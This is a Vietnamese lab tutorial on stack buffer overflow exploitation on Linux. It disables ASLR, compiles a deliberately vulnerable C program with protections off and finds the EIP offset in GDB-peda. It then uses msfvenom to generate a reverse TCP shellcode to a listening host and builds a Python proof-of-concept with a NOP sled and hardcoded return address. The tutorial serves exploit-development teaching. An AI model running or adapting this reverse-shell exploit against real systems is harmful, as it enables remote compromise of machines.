1. Tràn bộ đệm (Buffer Overflow) là gì?
Khai thác hành vi buffer overflow là một kỹ thuật tấn công bảo mật đã được biết đến rộng rãi. Trên nhiều hệ thống, bố cục bộ nhớ của chương trình hoặc toàn bộ hệ thống được xác định rõ. Bằng cách gửi dữ liệu được thiết kế để gây ra buffer overflow, kẻ tấn công có thể ghi đè vào các vùng bộ nhớ chứa mã thực thi và thay thế bằng mã độc, hoặc ghi đè có chọn lọc dữ liệu trạng thái của chương trình, từ đó gây ra các hành vi không mong muốn. Các buffer rất phổ biến trong mã nguồn của hệ điều hành (OS), cho phép thực hiện các cuộc tấn công privilege escalation để giành quyền truy cập không giới hạn vào tài nguyên máy tính. Điển hình là Morris worm vào năm 1988 đã sử dụng đây là một trong những kỹ thuật tấn công của nó.
2. Tràn bộ đệm của chương trình trên hệ điều hành Linux
2.1 Cấu hình môi trường lab
Đầu tiên, chúng ta cần tắt Address Space Layout Randomization (ASLR), cấu hình cơ bản của các hệ điều hành linux hiện này, dùng để random address mỗi khi chạy chương trình:
Bash:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Source code của chứa lỗ hỗng:
C:
#include<stdio.h>
#include<unistd.h>
int overflow(){
char buffer[500];
int userinput;
userinput = read(0, buffer, 700);
printf("\nUser provided %d bytes. Buffer content: %s", userinput, buffer);
return 0;
}
int main(int argc, char*argv[]){
overflow();
return 0;
}
Ở đây, chúng ta sẽ dùng gcc compiler để build code.
Bash:
$ gcc oversize_overflow.c -fno-stack-protector -z execstack -o oversize_overflow
2.2 Ghi đè EIP (Extended Instruction Pointer)
Trước hết, khi đọc source code, chúng ta biết được buffer size là 500 bytes. Chúng ta sẽ check thử xem, truyền bao nhiêu giá trị A vào thì chương trình sẽ crashed và ghi đè lên EIP, nên sẽ fuzz độ dài truyền vàoo program cho tới khi crashed. Đầu tiên tôi sẽ bắt đầu với 500 giá trị A truyền vào xem chương trình liệu có crash không:
Bash:
$ python3 -c "print('A'*500)" | ./oversize_overflow

Như chúng ta có thể thấy, sau khi truyền vào, chương trình vẫn chạy tốt. Thế nên chúng ta sẽ thử với số lượng lớn hơn (700 Bytes A)
Bash:
$ python3 -c "print('A'*700)" | ./oversize_overflow

Khi này, chương trình đã crashed với độ dài 700 bytes. Bây giờ chúng ta sẽ sử dụng GDB Debugger để debug, tìm các offset và ghi đè lên biến EIP.
Bash:
$ gdb -q oversize_overflow
Trong GDB Debugger. Do là toi đã cài peda, công cụ hỗ trợ chúng ta bố cục lại giao diện output của GDB giúp chúng ta làm việc dễ dàng hơn. Trên thị trường vẫn còn nhiều công cụ khác bạn có thể dùng, cái nào tiện cho việc Exploit Dev của bạn là được.
Bắt đầu, tôi sẽ tạo 1 Fuzz buffer để lấy độ dài chính xác mà chương trình sẽ crash bằng cách như sau:
Bash:
gdb-peda$ pattern create 700 1.txt
Writing pattern of 700 chars to filename "1.txt"
gdb-peda$ r < 1.txt

Như hình trên, là kết quả sau khi Fuzz, chúng ta có thể thấy được EIP crashed với địa chỉ không tìm thấy trên stack (0x4e734138). Và đấy chính là độ dài đúng của buffer này. Để có thể tìm ra, chúng ta sử dụng patten của peda để trace ra con số chính xác:
Bash:
gdb-peda$ pattern offset 0x4e734138
1316176184 found at offset: 516
Trở về Terminal, chạy đoạn lệnh dưới để tạo ra đoạn data để chèn vào xem liệu ta có thể kiểm soát được các địa chỉ pointer không, và lưu lại dưới tên là input.txt:
Bash:
$ python -c "print('A'*516+'B'*4+'C*100')" > input.txt
Chạy lại GDB Debuger để debug chương trình, sau đó đẩy data input.txt vào. Như hình bên dưới chúng ta có thể thấy EIP trả về là 0x42424242 (nghĩa là BBBB trong bảng ASCII), và nó có nghĩ là chúng ta đã hoàn toàn kiểm soát được EIP.

2.3 Thực thi Shellcode
2.3.1 Tạo Shellcode
Để tạo shellcode, trong phần này tôi sẽ dùng msfvernom để ra chúng.
Bash:
$ msfvenom -p linux/x86/shell_reverse_tcp lhost=192.168.1.9 lport=4444 -b "\x00" -f python -o payload.py --platform linux -a x86
- Options description:
Bash:
-p: Which mean payload
-b: bad characters caused crash
-f: file type
-o: output
-a: architecture
--platform: platform for the payload
lhost: listening host
lport: listening port

2.3.2 Tìm địa chỉ return để thực thi shellcode
Chúng ta đã có shellcode rồi, việc còn lại là tìm cách để ghi đè lên EIP và từ đó trỏ đến shellcode của chúng ta để nó thực thi. Để làm được, chúng ta sẽ tạo chuỗi buffer và load nó sử dụng GDB.
Bash:
$ python -c "print('A'*700)" > input.txt
gdb-peda$ r < input.txt
Sau khi chạy, chương trình sẽ bị crashed. Dùng lệnh x/20wx $esp-0x230 để trace stack như hình bên dưới.

Trong ảnh, chúng ta có thể thấy được buffer có thể bắt đầu ở địa chỉ sau: 0xffffd038 (0xffffd030 + 0x8), và nó sẽ là địa chỉ được dùng để return.
2.3.3 Proof of Concept (PoC)
Chúng ta sẽ build payload.py dựa vào những kết quả bên trên. Đoạn code sẽ như sau:
Python:
#!/usr/bin/python3
import struct
buf = b""
buf += b"\xdb\xc3\xd9\x74\x24\xf4\x5d\x29\xc9\xbe\x4d\x2c\x0e"
buf += b"\xe0\xb1\x12\x83\xed\xfc\x31\x75\x13\x03\x38\x3f\xec"
buf += b"\x15\xf3\xe4\x07\x36\xa0\x59\xbb\xd3\x44\xd7\xda\x94"
buf += b"\x2e\x2a\x9c\x46\xf7\x04\xa2\xa5\x87\x2c\xa4\xcc\xef"
buf += b"\x6e\xfe\x2e\xe6\x06\xfd\x30\xe9\x8a\x88\xd0\xb9\x55"
buf += b"\xdb\x43\xea\x2a\xd8\xea\xed\x80\x5f\xbe\x85\x74\x4f"
buf += b"\x4c\x3d\xe1\xa0\x9d\xdf\x98\x37\x02\x4d\x08\xc1\x24"
buf += b"\xc1\xa5\x1c\x26"
with open('input.txt', 'wb') as file:
offset = 516
nop = b'\x90'*16
junk = b'A'
ret_add = struct.pack('<L', 0xffffd038)
payload = nop + buf + junk * (offset - 16 -len(buf)) + ret_add
file.write(payload)
Sau khi chạy, code sẽ output ra file text tên là input.txt.

Cuối cùng, chúng ta đạt được kết quả, chúng ta đã tràn được bộ đệm và thực thi thành công shellcode.


3. Tham khảo
- https://en.wikipedia.org/wiki/Address_space_layout_randomization
- https://en.wikipedia.org/wiki/Stack_buffer_overflow
- https://wiki.osdev.org/CPU_Registers_x86-64
- https://github.com/longld/peda
- https://www.ascii-code.com/
- https://github.com/7heKnight/7heknight.pwn/tree/main/INE/Linux Exploit Development/Linux Stack Smashing/Linux_BO_Foundation
Sửa lần cuối:
Bài viết liên quan
Được quan tâm
Bài viết mới